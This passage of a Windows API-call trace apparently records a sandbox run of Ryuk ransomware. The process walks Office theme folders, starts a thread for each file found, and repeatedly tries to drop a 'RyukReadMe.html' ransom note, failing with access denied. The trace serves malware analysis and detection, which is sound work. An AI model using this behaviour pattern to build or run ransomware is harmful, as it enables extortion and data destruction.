	[0170.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.927] GetLastError () returned 0x5
	[0170.927] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.927] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0170.927] SetLastError (dwErrCode=0x0) 
	[0170.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.928] GetLastError () returned 0x5
	[0170.928] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.929] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.929] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.929] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824
	[0170.931] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.932] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1
	[0170.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828
	[0170.935] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.935] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1
	[0170.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c
	[0170.938] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.939] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830
	[0170.942] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.943] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.943] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.943] SetLastError (dwErrCode=0x0) 
	[0170.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.943] GetLastError () returned 0x5
	[0170.944] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.944] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0170.944] SetLastError (dwErrCode=0x0) 
	[0170.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.944] GetLastError () returned 0x5
	[0170.944] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.009] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.010] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834
	[0171.012] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.013] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1
	[0171.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838
	[0171.016] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.016] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1
	[0171.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c
	[0171.019] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.020] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.020] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840
	[0171.023] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.024] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.024] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.024] SetLastError (dwErrCode=0x0) 
	[0171.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.025] GetLastError () returned 0x5
	[0171.025] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.025] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0171.025] SetLastError (dwErrCode=0x0) 
	[0171.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.026] GetLastError () returned 0x5
	[0171.026] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0171.029] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.029] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0171.029] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844
	[0171.032] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.033] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1
	[0171.033] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848
	[0171.035] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.036] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1
	[0171.036] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0171.038] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.039] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0171.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0171.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0171.042] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0171.042] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0171.042] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0171.043] SetLastError (dwErrCode=0x0) 
	[0171.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.043] GetLastError () returned 0x5
	[0171.043] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.043] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.043] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0171.043] SetLastError (dwErrCode=0x0) 
	[0171.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.044] GetLastError () returned 0x5
	[0171.044] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0171.044] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
